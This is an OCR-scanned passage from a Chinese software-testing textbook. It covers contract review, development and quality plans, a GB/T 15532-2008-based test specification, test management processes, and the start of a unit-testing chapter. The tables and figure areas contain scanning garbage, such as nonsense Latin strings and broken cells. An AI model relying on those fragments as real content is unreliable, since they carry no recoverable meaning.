(1) 各 项 要 求 都 有 明确 规定 并 形成 文件 ; 在 以 口头 方式 接 到 订单 ,而 对 要 求 没有 书面 
说 明 情 况 下 , 供 方 应 确保 订单 的 要 求 在 其 接受 之 前 得 到 同意 ; 

(2) 任何 与 投标 不 一 致 的 合同 或 订单 的 要 求 已 经 得 到 解决 ; 

(3) 供 方 具有 满足 合同 或 订单 的 要 求 的 能 力 。 

2. 需 方 需求 规格 说 明 

在 某 一 具体 项 目 进 行 开发 前 ,应 具有 一 套 该 项 目的 完整 精确、 无 歧义 的 功能 需求 ,这 些 
需求 应 包括 需 方 的 所 有 要 求 ,应 足以 成 为 产品 验收 确认 时 的 依据 。 在 制订 需求 规格 说 明 时 
应 注意 : 

(1) 双方 制定 专人 负责 ; 

(2) 需求 认可 和 更 改 的 批准 ; 

(3) 防止 误解 ,定义 好 术语 ,对 需求 的 背景 进行 说 明 ， 

(4) 记录 和 评审 双方 讨论 的 结果 ,以 备 将 来 查询 某 些 需求 确定 原因 。 

3. 开发 计划 

在 项 目 进行 前 制定 开发 计划 ,作为 总 体 的 策划 ,指导 整个 项 目 有 序 地 进行 。 开 发 计划 要 
求 包括 以 下 方面 : 

。 项 目 定 义 ; 

。 项 目 资源 组 织 管理 ; 

。 开发 阶段 ; 

i 进度 ; 

。 确定 质量 保证 计划 ,测试 计划 、 集 成 计划 等 。 


随 着 项 目的 进展 ,开发 计划 将 不 断 更 新 ,在 生命 周期 模型 每 一 阶段 开始 之 前 ,都 要 有 该 
阶段 的 工作 计划 ,并 经 过 评审 后 实施 。 以 下 较 详细 地 说 明 开 发 计划 中 应 具备 的 各 个 方面 。 

1) 开发 阶段 

开发 计划 应 将 项 目 目标 转化 为 最 终结 果 的 过 程 方 法 等 清楚 地 描述 出 来 ,可 以 把 工作 分 
为 几 个 阶段 ,比如 按照 生命 周期 法 划分 开发 阶段 。 要 执行 的 开发 阶段 ,每 一 阶段 所 需 的 输 
入 ,必须 用 文档 方式 确定 下 来 ,每 一 项 需求 均 有 明确 的 定义 ,以 保证 完成 情况 可 被 检验 。 

每 一 阶段 应 产生 的 输出 需 得 到 验证 ,其 输出 及 其 过 程 验 证 遵守 以 下 几 点 : 

。 满足 相应 的 要 求 ; 

。 有 明确 的 验收 准则 ,作为 验收 评审 的 参考 ; 

。 符合 开发 惯例 和 约定 ; 

。 每 一 阶段 需要 执行 的 验证 步骤 ; 

。 必须 有 对 每 阶段 输出 的 验证 计划 ,并 在 适当 的 时 间 进 行 验 证 评审 ; 

。 分析 各 阶段 可 能 潜在 的 问题 或 需要 解决 的 问题 。 

2) 项 目 管理 

。 项 目 开 发 .实施 等 过 程 的 时 间 进 度 安排 ; 

。 进度 的 控制 方法 及 活动 ; 

。 确定 组 织 机 构 及 其 职责 .各 工作 组 的 资源 及 工作 分 配 ; 

。 不 同 工 作 组 间 的 组 织 协调 方法 ,并 明确 技术 接口 问题 。 

3) 开发 方法 和 工具 

规定 项 目 活动 应 共同 遵循 的 方法 及 使 用 的 工具 ,包括 : 

。 开发 规范 、 惯 例 ; 

。 开发 工具 及 技术 。 

4. 质量 计划 

质量 计划 作为 开发 计划 的 一 部 分 , 随 项 目 进展 而 更 新 ,质量 计划 经 正式 评审 ,并 得 到 所 
有 与 计划 执行 有 关 的 组 织 的 统一 。 质 量 计划 应 包含 或 引用 以 下 内 容 : 

。 质量 目标 , 尽 可 能 以 定量 方式 给 出 ; 

。 定义 每 一 阶段 的 输入 、 输 出 准则 ; 

。 确定 要 进行 的 测试 、 验 证 和 确认 活动 的 类 型 和 详细 计划 ,包括 时 间 、 进 度 等 ; 

。 确定 具体 质量 活动 的 职责 ,如 评审 和 测试 、 更 改 控制 .对 缺陷 的 控制 和 纠正 措施 。 

5. 设计 和 实现 

设计 和 实现 活动 是 将 需求 规格 说 明和 转化 为 软件 产品 的 过 程 。 为 保证 软件 产品 的 质量 ， 
这 些 活动 必须 在 严格 规定 的 方法 下 进行 ,不 能 依赖 于 事后 的 审查 监督 。 

1) 设计 

设计 阶段 要 满足 各 阶段 的 共同 要 求 ,此 外 ,设计 阶段 还 应 考虑 : 

。 选用 适合 所 开发 产品 类 型 的 设计 方法 ; 

。 总 结 吸取 以 往 项 目的 经 验 教训 ; 

。 设计 应 考虑 软件 以 后 的 测试 .维护 和 使 用 。 

2) 实现 

。 规定 编程 规则 ,编程 语言 .命名 约定 .编码 和 注释 规则 等 ，; 

。 要 求 在 实现 过 程 中 严格 遵守 既定 开发 规则 ; 


。 选用 合适 的 方法 和 工具 实现 产品 。 
3) 评审 
为 使 需求 规格 说 明 得 以 满足 和 上 述 规则 方法 得 以 实施 ,必须 以 评审 的 方式 加 以 保证 。 
直到 所 有 被 发 现 的 缺陷 被 消除 ,或 确定 缺陷 的 风险 可 被 控制 后 ,才能 进入 下 一 步 的 设计 或 实 
现 工作 。 
6. 测试 和 确认 
要 具有 完整 的 测试 计划 ,测试 计划 要 经 过 评审 ,并 以 此 为 依据 进行 测试 活动 。 
1) 测试 计划 
。 包括 单元 测试 计划 、 集 成 测试 计划 、 系 统 测试 计划 、 验 收 测试 计划 ; 
。 制定 测试 用 例 \ 测 试 数据 和 预期 结果 ; 
。 考虑 要 进行 的 测试 类 型 ,如 功能 测试 .边界 测试 .性 能 测试 .可 用 性 测试 等 
。 描述 测试 环境 .工具 及 测试 软件 ; 
。 软件 产品 是 否 完成 的 判断 准则 ; 
。 测试 所 需 人 员 及 其 要 求 ; 
。 测试 风险 
。 与 测试 项 目 相 关 的 其 他 项 目 及 其 依赖 性 。 
2) 测试 活动 
。 记录 发 现 的 问题 ,指出 可 能 受 影响 的 其 他 部 分 的 软件 ,通知 相关 负责 人 员 ; 
。 确定 受 影响 的 其 他 部 分 软件 ,并 对 其 进行 重新 测试 ; 
。 评价 测试 是 否 适度 和 适当 ; 
。 在 验收 和 交付 产品 前 ,必须 尽 可 能 在 类 似 使 用 环境 中 进行 确认 测试 。 
7. 验收 
当 软 件 产品 已 经 完成 ,经 过 内 部 确认 测试 ,准备 好 交付 后 ,应 要 求 需 方 根据 合同 中 的 规 
定 原则 判断 是 否 可 以 进行 验收 。 对 于 验收 中 发 现 问题 的 处 理 办 法 由 双方 商定 并 纳入 文档 。 
具备 验收 条 件 后 ,应 制定 验收 计划 并 逐步 实施 。 
验收 计划 应 包括 : 时 间 进 度 .评估 规程 .软件 /硬件 环境 、 验 收 准则 。 
8. 复制 ,交付 和 安装 
1) 复制 
制作 好 安装 程序 ,复制 好 必要 的 副本 。 准 备 好 该 交付 的 操作 手册 ,用户 指南 等 文档 。 
2) 交付 
交付 前 应 对 所 交付 产品 的 正确 性 及 完整 性 进行 检验 。 
3) BR 
就 以 下 方面 双方 明确 商定 各 自 的 作用 、 责 任 和 义务 : 
。 时 间 进 度 及 安排 ,包括 非 工作 时 间 及 假日 的 人 员 安 排 及 工作 责任 ; 
。 提供 出 入 便利 条 件 , 如 通行 证 等 ; 
。 指定 熟练 人 员 的 密切 配合 ; 
。 提供 必要 的 系统 及 设备 ; 
。 对 每 次 安装 的 确认 条 件 需 明确 规定 ; 


。 对 每 次 安装 进行 认可 的 正式 规程 。 

9. 维护 

对 于 软件 产品 在 初次 交付 及 安装 后 ,必须 提供 的 维护 应 在 合同 中 明确 规定 。 合 同 中 应 
明确 以 下 各 项 的 维护 期 : 程序 数据、 规格 说 明 。 

维护 工作 一 般 包 括 : 问题 的 解决 .接口 的 调整 功能 扩充 和 性 能 改进 。 


4.3.3 软件 测试 规范 


一 个 完整 的 软件 测试 规范 ,应 该 包括 规范 本 身 的 详细 说 明 ,比如 规范 目的 ,范围 .文档 结 
构 .词汇 表 、 参 考 信息 、 可 追溯 性 方针、 过 程 /规范 指南、 模板 .检查 表 、 培 训 . 工 具 、 参 考 资料 
等 。 这 里 主要 参考 GB/T 15532 一 2008《 计 算 机 软件 测试 规范 ) 来 介绍 软件 测试 规范 ,包括 
软件 测试 的 每 个 子 过 程 中 测试 人 员 的 角色 、 职 责 、 活 动 描述 及 所 需 资 料 。 

。 角色 的 确定 ; 

。 进入 的 准则 ; 

。 输入 项 ; 

。 活动 过 程 ; 
输出 项 ; 
验证 与 确认 ; 
退出 的 准则 ; 

。 度量 。 

1. 角色 

任何 项 目的 实施 首先 要 考虑 的 是 人 的 因素 ,对 人 的 识别 与 确认 ,软件 测试 尤其 不 能 例 
外 。 在 软件 测试 中 ,通常 会 把 所 有 涉及 人 员 进 行 分 类 以 确立 角色 ,并 按 角色 进行 职责 划分 。 
通常 会 按 表 4-5 的 方式 进行 划分 。 

表 4-5 软件 测试 中 最 基本 的 角色 定义 


角 e 说 y 
测试 设计 人 员 制定 和 维护 测试 计划 ,设计 测试 用 例 及 测试 过 程 ,生成 测试 分 析 报 千 
测试 人 员 执行 集成 测试 和 系统 测试 ,记录 测试 结果 
设计 人 员 设计 测试 需要 的 驱动 程序 和 桩 程序 
编码 人 员 编写 测试 驱动 程序 和 桩 程序 ,执行 单元 测试 
2. 进入 准则 


进入 准则 也 就 是 对 软件 测试 切 人 点 的 确立 。 通 过 前 几 章 的 学 习 , 我 们 知道 ,软件 测试 实 
质 上 是 伴随 SQA 的 整体 活动 ,在 软件 开发 周期 的 各 个 阶段 都 在 进行 ,因此 软件 项 目 立项 并 
得 到 批准 就 意味 着 软件 测试 的 开始 。 

3. 输入 项 

软件 测试 需要 相关 的 文档 作为 测试 设计 及 测试 过 程 判 断 符合 性 的 依据 和 标准 ,对 于 需 
要 进行 专业 的 单元 测试 的 项 目 还 得 有 程序 单元 及 软件 集成 计划 相应 版 本 等 文档 资料 。 这 些 
文档 一 并 作为 测试 的 输入 ,如 表 4-6 所 示 。 


R46 软件 测试 输入 项 


eA 项 说 明 x OH 
一 一 一 去 

软件 项 目 计划 ea ta 《项目 开发 计划 》 
软件 需求 文档 人 《需求 规格 说 明 书 ) 
软件 构架 设计 文档 de a (概要 设计 说 明 书 》 
软件 详细 设计 文档 ay ei 《详细 设计 说 明 书 》 
软件 程序 单元 包括 了 所 有 编码 员 完 成 的 程序 单元 源 代码 
“he ERTERENEX TERENAR ARORA 
软件 工作 版 本 按照 集成 计划 创建 的 各 不 集成 工作 版本 

4. 活动 


1) 制定 测试 计划 


角色 : 测试 设计 员 


活动 描述 : 


。 制定 测 试 计划 的 目的 是 收集 和 组 织 测试 计划 信息 ,并 且 创 建 测试 计划 。 

。 确 定 测试 需求 。 根 据 需 求 收集 和 组 织 测试 需求 信息 ,确定 测试 需求 。 

。 制 定 测试 策略 。 针 对 测试 需求 定义 测试 类 型 测试 方法 以 及 需要 的 测试 工具 等 。 
。 建立 测 试 通过 准则 。 根 据 项 目 实际 情况 为 每 一 个 层次 的 测试 建立 通过 准则 。 

。 确 定 资源 和 进度 。 确 定 测试 需要 的 软 硬 件 资源 、 人 力 资源 以 及 测试 进度 。 


。 评 审 测试 计划 。 根 据 同 行 评审 规范 对 测试 计划 进行 同行 评审 。 
参考 文档 :《 软 件 


2) 测试 设计 


测试 计划 模板 》 


角色 : 测试 设计 员 设计 员 
活动 描述 : 设计 测试 的 目的 是 为 每 一 个 测试 需求 确定 测试 用 例 集 ,并 且 确 定 执行 测试 


用 例 的 测试 过 程 。 


© 设计 测试 用 例 。 
o 对 每 一 个 测试 需求 ,确定 其 需要 的 测试 用 例 。 
e 对 每 一 个 测试 用 例 ,确定 其 输入 及 预期 结果 。 
o 确定 测试 用 例 的 测试 环境 配置 .需要 的 驱动 程序 或 桩 程序 。 
+ 编写 测试 用 例文 档 。 
o 对 测试 用 例 进行 同行 评审 。 
。 开 发 测试 过 程 。 
o 根据 界面 原型 为 每 一 个 测试 用 例 定义 详细 的 测试 步骤 。 
+ 为 每 一 测试 步骤 定义 详细 的 测试 结果 验证 方法 。 
+ 为 测试 用 例 准 备 输入 数据 。 
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+ 编写 测试 过 程 文档 。 
o 对 测试 过 程 进行 同行 评审 。 
o 在 实施 测试 时 对 测试 过 程 进行 更 改 。 

。 设计 单元 测试 和 集成 测试 需要 的 驱动 程序 和 桩 程序 。 

参考 文档 :《 软 件 测试 用 例 ) 模 板 和 《软件 测试 过 程 ) 模 板 

3) 实施 测试 

角色 : 测试 设计 员 编码 员 

活动 描述 : 实施 测试 的 目的 是 创建 可 重用 的 测试 脚本 ,并 且 实 施 测试 驱动 程序 和 桩 程序 。 

。 根 据 测试 过 程 ,创建 、 开 发 测试 脚本 ,并 且 调 试 测试 脚本 ; 

。 根 据 设计 编写 测试 需要 的 测试 驱动 程序 和 桩 程序 。 

4) 执行 单元 测试 

角色 : 编码 员 和 测试 人 员 

活动 描述 : 执行 单元 测试 的 目的 是 验证 单元 的 内 部 结构 以 及 单元 实现 的 功能 。 

。 按照 测试 过 程 ,手工 执行 单元 测试 或 运行 测试 脚本 自动 执行 测试 ; 

。 详细 记录 单元 测试 结果 ,并 将 测试 结果 提交 给 相关 组 ; 

。 回归 测试 : 对 修改 后 的 单元 执行 回归 测试 。 

参考 文档 :《 测 试 日 志 》 和 《软件 单元 测试 》 

5) 执行 集成 测试 

角色 : 测试 员 

活动 描述 : 执行 集成 测试 的 目的 是 验证 单元 之 间 的 接口 以 及 集成 工作 的 功能 ,性 能 等 。 

。 执行 集成 测试 : 按照 测试 过 程 ,手工 执行 集成 测试 或 运行 测试 自动 化 脚本 执行 集成 
测试 ; 

。 详细 记录 集成 测试 结果 ,并 将 测试 结果 提交 给 相关 组 ; 

。 回归 测试 : 对 修改 后 的 工作 版 本 执行 回归 测试 ,或 对 增 量 集成 后 的 版 本 执行 回归 测试 。 

6) 执行 系统 测试 

角色 : 测试 员 

活动 描述 : 执行 系统 测试 的 目的 是 确认 软件 系统 工作 版 本 满足 需求 。 

。 执行 系统 测试 : 按照 测试 过 程 手工 执行 系统 测试 或 运行 测试 脚本 自动 执行 系统 
测试 ; 

。 详细 记录 系统 测试 结果 ,并 将 测试 结果 提交 给 相关 组 ; 

。 回归 测试 : 对 修改 后 的 软件 系统 版 本 执行 回归 测试 。 

7) 评估 测试 

角色 : 测试 设计 员 和 相关 组 

活动 描述 : 评估 测试 的 目的 是 对 每 一 次 测试 结果 进行 分 析 评 估 ,在 每 一 个 测试 阶段 提 

交 测 试 分 析 报 告 。 

。 分 析 测 试 结 果 : 由 相关 组 对 一 次 测试 结果 进行 分 析 , 并 提出 变更 请 求 或 其 他 处 理 
意见 。 

。 分 析 阶 段 测试 情况 : 
o 对 每 一 个 阶段 的 测试 覆盖 情况 进行 评估 。 


© 对 每 一 个 阶段 发 现 的 缺陷 进行 统计 分 析 。 
+ 确定 每 一 个 测试 阶段 是 否 完成 测试 。 
+ 对 每 一 个 阶段 生成 测试 分 析 报 告 。 

5. 输出 项 ( 见 表 4-7) 


表 4-7 软件 测试 输出 项 


输 出 项 内 容 描 述 形成 的 文档 
测试 计划 包含 项 目 范围 内 的 测试 目的 和 测试 目标 的 有 
软件 测试 计划 关 信 息 。 此 外 ,测试 计划 确定 了 实施 和 执行 测试 时 使 用 | 软件 测试 计划 模板 
的 策略 ,同时 还 确定 了 所 需 资源 

软件 测试 用 例 测试 用 例 是 为 特定 日 标 开发 的 测试 输入 ,执行 条 件 和 预 


rhein 软件 测试 用 例 模板 
E ee EAR 或 测试 用 例 集 ) 的 设置 , 执 | 软件 测试 过 程 模板 


6. 验证 与 确认 ( 见 表 4-8) 
表 4-8 软件 测试 验证 与 确认 项 


验证 与 确认 内 容 内 容 描 述 

软件 测试 计划 评审 由 项 目 经 理 、 测 试 组 .其 他 相关 测试 计划 进行 评审 

软件 测试 用 例 评审 由 测试 组 ,其 他 相关 组 对 测试 用 例 进行 评审 

软件 测试 过 程 评审 由 测试 组 .其 他 相关 组 对 测试 过 程 进行 评审 

测试 结果 评估 由 测试 组 .其 他 相关 组 对 测试 结果 进行 评估 

测试 分 析 报 告 评审 由 项 目 经 理 、 测 试 组 ,其 他 相关 组 对 测试 分 析 报告 进行 评审 
SQA 验证 由 SQA 人 员 对 软件 测试 活动 进行 审计 

7. 退出 准则 

满足 组 织 / 项 目的 测试 停止 标准 。 

8. 度量 


软件 测试 活动 达到 退出 准则 的 要 求 时 ,对 于 当前 版 本 的 测试 即 告 停止 。 度 量 工作 一 般 
由 SQA 人 员 通 过 一 系列 活动 收集 数据 ,利用 统计 学 知识 对 软件 质量 进行 统计 分 析 , 得 出 较 
准确 的 软件 质量 可 靠 性 评估 报告 ,作为 提供 给 客户 及 供 方 高 层 领导 的 可 视 化 的 质量 信息 。 


4.4 软件 测试 管理 和 评判 体系 


在 软件 过 程 中 ,可 以 说 我 们 所 做 的 一 切 工作 都 是 为 了 一 个 目标 , 即 保证 软件 质量 满足 最 
终 用 户 的 需求 。 当 然 这 里 所 说 的 质量 更 广义 一 些 (比如 能 否 如 期 交 货 也 列 人 质量 范畴 )。 无 
论 是 软件 依据 软件 质量 保证 理论 所 进行 的 软件 质量 保证 活动 ,还 是 在 企业 内 推行 CMM 或 
ISO 相关 标准 ,都 是 为 了 提高 软件 质量 。 其 实 无 论 是 标准 还 是 规范 ,都 是 一 个 静止 的 概念 ， 


它们 存在 了 ,可 以 选择 拿 来 借鉴 ,也 可 能 只 是 一 种 形式 上 的 存在 ,也 许 不 少 软件 企业 采用 了 
一 些 行业 标准 或 规范 ,但 效果 却 不 一 定 如 想象 的 理想 ,这 是 为 什么 呢 ? 因 为 没有 完整 的 管理 
与 评判 体系 。 对 于 软件 测试 来 说 也 一 样 ,可 能 会 采用 所 有 的 测试 技术 ,投入 足够 的 人 力 与 物 
力 , 但 最 终 的 测试 效果 如 何 却 无 法 定性 或 定量 的 确定 。 只 有 规范 测试 过 程 ,依据 软件 质量 保 
证 与 测试 策略 的 相关 理论 ,建立 完善 的 测试 管理 与 评判 体系 并 不 断 自我 完善 才 可 能 达到 预 
期 的 测试 目标 。 

1. 主要 目的 

1) 监视 和 测量 软件 产品 

对 软件 产品 的 特性 进行 监视 和 测量 ,主要 依据 软件 需求 规格 说 明 书 ,验证 产品 是 否 满足 
要 求 。 所 开发 的 软件 产品 是 否 可 以 交付 ,要 预先 设 定 质量 指标 ,并 进行 测试 ,只 有 符合 预先 
设 定 的 指标 , 才 可 以 交付 。 

2) 识别 和 控制 不 符合 要 求 的 产品 

对 于 软件 测试 中 发 现 的 软件 缺陷 ,要 认真 记录 它们 的 属性 和 处 理 措施 ,并 进行 跟踪 , 直 
至 最 终 解决 。 在 排除 软件 缺陷 之 后 ,要 再 次 进行 验证 。 

3) 验证 产品 设计 和 开发 

通过 设计 测试 用 例 对 需求 分 析 、 软 件 设计 、 程 序 代码 进行 验证 ,确保 程序 代码 与 软件 设 
计 说 明 书 的 一 致 ,以 及 软件 设计 说 明 书 与 需求 规格 说 明 书 的 一 致 。 对 于 验证 中 发 现 的 不 合 
格 现象 ,同样 要 认真 记录 和 处 理 , 并 跟踪 解决 。 解 决 之 后 ,也 要 再 次 进行 验证 。 

4) 监视 和 测量 软件 过 程 

从 软件 测试 中 可 以 获取 大 量 关 于 软件 过 程 及 其 结果 的 数据 和 信息 ,它们 可 用 于 判断 这 
些 过 程 的 有 效 性 ,为 软件 过 程 的 正常 运行 和 持续 改进 提供 决策 依据 。 

2. 如 何 建立 测试 管理 与 评判 体系 

一 般 应 用 过 程 方法 和 系统 方法 来 建立 软件 测试 管理 体系 ,也 就 是 把 测试 管理 作为 一 个 
系统 ,对 组 成 这 个 系统 的 各 个 过 程 加 以 识别 和 管理 ,以 实现 设 定 的 系统 目标 。 同 时 要 使 这 些 
过 程 协同 作用 、 互 相 促进 ,从 而 使 它们 的 总 体 作用 


大 于 各 过 程 作用 之 和 。 其 主要 目标 是 在 设 定 的 条 Le ee 
件 限制 下 , 尽 可 能 发 现 和 排除 软件 缺陷 。 测 试 系 -E -一 
统 主要 由 下 面 6 个 相互 关联 、 相 互 作用 的 过 程 组 ii 
成 ,如 图 4-11 所 示 。 测试 实施 

1) 测试 规划 tT 执行 用 例 

确定 各 测试 阶段 的 目标 和 策略 。 这 个 过 程 将 [本 时 管理 
输出 测试 计划 ,明确 要 完成 的 测试 活动 ,评估 完成 WARE 
活动 所 需要 的 时 间 和 资源 ,设计 测试 组 织 和 岗位 | 资产 管理 — - 
职权 ,进行 活动 安排 和 资源 分 配 , 安 排 跟踪 和 控制 aes 
测试 过 程 的 活动 。 be — 

测试 规划 与 软件 开发 活动 同步 进行 。 在 需求 | 


分 析 阶 段 ,要 完成 验收 测试 计划 ,并 与 需求 规格 说 图 4-11 相互 关联 、 相 互 作用 的 
明 一 起 提交 评审 。 类 似 地 ,在 概要 设计 阶段 ,要 完 过 程 组 成 测试 系统 


成 和 评审 系统 测试 计划 ; 在 详细 设计 阶段 ,要 完成 和 评审 集成 测试 计划 ; 在 编码 实现 阶段 ， 
要 完成 和 评审 单元 测试 计划 。 对 于 测试 计划 的 修订 部 分 ,需要 进行 重新 评审 。 

2) 测试 设计 

根据 测试 计划 设计 测试 方案 。 测 试 设计 过 程 输出 的 是 各 测试 阶段 使 用 的 测试 用 例 。 测 
试 设计 也 与 软件 开发 活动 同步 进行 ,其 结果 可 以 作为 各 阶段 测试 计划 的 附件 提交 评审 。 测 
试 设计 的 另 一 项 内 容 是 回归 测试 设计 , 即 确定 回归 测试 的 用 例 集 。 对 于 测试 用 例 的 修订 部 
分 ,也 要 求 进行 重新 评审 。 

3) 测试 实施 

使 用 测试 用 例 运行 程序 ,将 获得 的 运行 结果 与 预期 结果 进行 比较 和 分 析 , 记 录 、 跟 踪 和 
管理 软件 缺陷 ,最 终 得 到 测试 报告 。 

4) 配置 管理 

测试 配置 管理 是 软件 配置 管理 的 子 集 , 作 用 于 测试 的 各 个 阶段 。 其 管理 对 象 包括 测试 
计划 ` 测 试 方案 (用 例 ) ,测试 版 本 ,测试 工具 及 环境 、 测 试 结果 等 。 

5) 资源 管理 

包括 对 人 力 资源 和 工作 场所 ,以 及 相关 设施 和 技术 支持 的 管理 。 如 果 建 立 了 测试 实验 
室 , 还 存在 其 他 的 管理 问题 。 

6) 测试 管理 

采用 适宜 的 方法 对 上 述 过 程 及 结果 进行 监视 ,并 在 适用 时 进行 测量 ,以 保证 上 述 过 程 的 
有 效 性 。 如 果 没 有 实现 预定 的 结果 , 则 应 进行 适当 的 调整 或 纠正 。 

此 外 ,测试 系统 与 软件 修改 过 程 是 相互 关联 、 相 互 作用 的 。 测 试 系统 的 输出 (软件 缺陷 报 
告 ) 是 软件 修改 的 输入 。 反 过 来 ,软件 修改 的 输出 (新 的 测试 版 本 ) 又 成 为 测试 系统 的 输入 。 

根据 上 述 6 个 过 程 , 可 以 确定 建立 软件 测试 管理 体系 的 6 个 步骤 : 

(1) 识别 软件 测试 所 需 的 过 程 及 其 应 用 , 即 测试 规划 ,测试 设计 、 测 试 实施 .配置 管理 、 
资源 管理 和 测试 管理 ; 

(2) 确定 这 些 过 程 的 顺序 和 相互 作用 ,前 一 过 程 的 输出 是 后 一 过 程 的 输入 。 其 中 ,配置 
管理 和 资源 管理 是 这 些 过 程 的 支持 性 过 程 ,测试 管理 则 对 其 他 测试 过 程 进行 监视 .测试 和 
管理 ; 

(3) 确定 这 些 过 程 所 需 的 准则 和 方法 ,一 般 应 制订 这 些 过 程 形成 文件 的 程序 ,以 及 监 
视 , 测 量 和 控制 的 准则 和 方法 ; 

(4) 确保 可 以 获得 必要 的 资源 和 信息 ,以 支持 这 些 过 程 的 运行 和 对 它们 的 监测 ; 

(5) 监视 ,测量 和 分 析 这 些 过 程 ; 

(6) 实施 必要 的 改进 措施 。 


小 结 


本 章 通 过 介绍 软件 测试 过 程 模 型 ,帮助 读者 完整 地 了 解 软件 测试 的 过 程 ,掌控 软件 测试 
的 全 局 ,有 利于 以 后 各 章 内 容 的 学 习 , 融 会 贯通 ,而 且 对 测试 实验 的 具体 工作 有 重要 的 指导 
在 了 解 软件 测试 过 程 的 基础 上 ,如 何 借助 TMM, TPI 来 改进 测试 模型 ,掌握 测试 过 程 


改进 模型 的 知识 是 非常 重要 的 ,会 不 断 启发 我 们 思考 ,做 好 各 项 测试 工作 。 软 件 测试 标准 是 
测试 工作 的 依据 和 准则 ,在 测试 标准 约束 下 和 测试 规范 指导 下 ,完成 测试 计划 、 设 计 、 执 行 和 
软件 产品 的 质量 评估 。 

一 个 软件 企业 ,不 仅 要 遵守 软件 相关 的 标准 、 规 范 , 而 且 要 建立 一 套 软件 测试 的 管理 和 
评判 体系 ,从 根本 上 保证 软件 测试 工作 的 质量 ,进而 保证 软件 产品 的 质量 ,降低 企业 的 成 本 ， 
最 终 使 企业 具有 很 好 的 竞争 力 。 


1. 针对 V 模型 、W 模型 和 TMap 模型 ,进行 对 比分 析 ,然后 讨论 各 自 的 特点 。 

2. 根据 TPI 模型 描述 ,你 认为 哪些 过 程 域 是 关键 的 ? 为 什么 ? 然后 和 CTP 进行 对 比 
分 析 , 对 你 有 什么 启发 ? 

3. 简 述 ISO 体系 结构 及 ISO 9000-3 的 总 体 思 想 。 

4. 简要 概述 建立 测试 管理 与 评判 体系 的 六 大 过 程 。 


第 二 篇 
软件 测试 的 技术 


在 实际 项 目的 测试 过 程 中 ,我 们 会 面 对 许 多 复杂 的 问题 和 具体 的 困难 ,不 仅 采 用 前 面 所 
学 的 方法 ,还 要 拥有 很 好 的 技术 ,熟悉 业务 领域 知识 ,深入 系统 架构 、 设 计 模 式 和 开发 框架 ， 
灵活 运用 测试 工具 ,才能 真正 解决 问题 。 

在 这 一 篇 ,将 详细 介绍 单元 测试 、 集 成 测试 、 功 能 测试 和 系统 测试 中 所 要 掌握 的 技能 , 包 
括 负载 测试 技术 、 自 动 化 测试 脚本 开发 技能 和 本 地 化 测试 技术 等 ,共有 7 章 。 

第 5 章 单元 测试 

第 6 章 集成 测试 和 系统 测试 

第 7 章 验收 测试 

第 8 章 面向 对 象 软件 的 测试 

第 9 章 基于 应 用 服务 器 的 测试 

第 10 章 软件 本 地 化 测试 

第 11 章 软件 测试 自动 化 


单元 测试 


按 阶段 进行 测试 是 一 种 基本 的 测试 策略 ,单元 测试 是 测试 执行 过 
程 中 的 第 一 个 阶段 ,本 章 主 要 从 单元 测试 的 定义 \ 目 标 、 过 程 、 技 术 与 
方法 ,评估 等 方面 进行 介绍 和 讨论 ,并 澄清 一 些 在 单元 测试 阶段 存在 
的 误区 。 

在 测试 过 程 中 应 该 依据 每 一 个 阶段 的 不 同 特点 ,采用 不 同 的 测试 
方法 和 技术 ,制定 不 同 的 测试 目标 。 在 单元 测试 中 主要 采用 和 白 盒 测试 
方法 ,包括 对 代码 的 评审 静态 分 析 和 结合 测试 工具 进行 动态 测试 。 
本 章 主 要 介绍 单元 测试 的 普遍 方法 ,而 一 些 面向 对 象 的 深层 次 介绍 ， 
可 以 参考 第 8 章 。 


5.1 什么 是 单元 测试 


软件 系统 是 由 许多 单元 构成 的 ,这 些 单元 可 能 是 一 个 对 象 或 是 一 
个 类 ,也 可 能 是 一 个 函数 ,也 可 能 是 一 个 更 大 的 单元 一 一 组 件 或 模块 。 
要 保证 软件 系统 的 质量 ,首先 就 要 保证 构成 系统 的 单元 的 质量 ,也 就 
是 要 开展 单元 测试 活动 ,而 且 要 进行 充分 的 单元 测试 。 


5.1.1 单元 测试 的 定义 


单元 测试 是 对 软件 基本 组 成 单元 进行 的 测试 ,而 且 软 件 单元 是 在 
与 程序 的 其 他 部 分 相隔 离 的 情况 下 进行 独立 的 测试 。 单 元 测试 的 对 
象 可 以 是 软件 设计 的 最 小 单位 一 一 一 个 具体 函数 或 一 个 类 的 方法 ,也 
可 以 是 一 个 功能 模块 、 组 件 。 一 般 情况 下 ,被 测试 的 单元 能 够 实现 一 
个 特定 的 功能 ,并 和 其 他 单元 有 明确 的 接口 定义 ,这 样 可 以 与 其 他 单 
元 隔离 开 来 。 

在 单元 测试 活动 中 ,强调 被 测试 对 象 的 独立 性 ,软件 的 独立 单元 
将 与 程序 的 其 他 部 分 被 隔离 开 ,来 避免 其 他 单元 对 该 单元 的 影响 。 这 
样 , 缩 小 了 问题 分 析 范 围 ,而 且 可 以 比较 彻底 地 消除 各 个 单元 中 所 存 
在 的 问题 ,避免 将 来 功能 测试 和 系统 测试 问题 查找 的 困难 。 在 单元 测 
试 中 ,需要 关注 的 主要 内 容 有 : 


CHAPTER 5 
a 
第 5 章 


° 目标: 确保 模块 被 正确 地 编码 ; 
"依据 : 详细 设计 描述 ; 
。 过程: 经 过 设计 、 脚 本 开发 .执行 .调试 和 分 析 结果 


TAA rm 2 -一 一 
。 执行 者 : 由 程序 开发 人 员 和 测试 人 员 共 同 完成 ; 一 一 | 测试 设计 = 一 一 | 
。 采用 哪些 测试 方法 : 以 白 盒 测试 方法 为 主 , 辅 以 黑 1 
盒 测 试 方法 ; 一 一 | 测试 执行 < 一 一 
ye = Ls 1 
。 如 何 进行 评估 : 通过 所 有 单元 测试 用 例 , 代 码 没 有 测试 记 如 
严重 缺陷 。 
单元 测试 的 基本 过 程 如 图 5-1 所 示 , 由 以 下 5 个 步骤 缺陷 跟踪 
组 成 ; 


(1) 在 详细 设计 阶段 完成 单元 测试 计划 。 

(2) 建立 单元 测试 环境 ,完成 测试 设计 和 开发 。 
G) 执行 单元 测试 用 例 , 并 且 详 细 记 录 测 试 结果 。 

(4) 判定 测试 用 例 是 否 通 过 。 图 5-1 单元 测试 的 过 程 
(5) 提交 《单元 测试 报告 》。 


5.1.2 为 何 要 进行 单元 测试 


软件 测试 的 目的 之 一 就 是 尽 可 能 早 地 发 现 软件 中 存在 的 错误 ,从 而 降低 软件 质量 成 本 ， 
测试 越 早 进行 越 好 ,单元 测试 就 显得 更 重要 ,也 是 系统 的 功能 测试 的 基础 。 在 实践 中 ,单元 
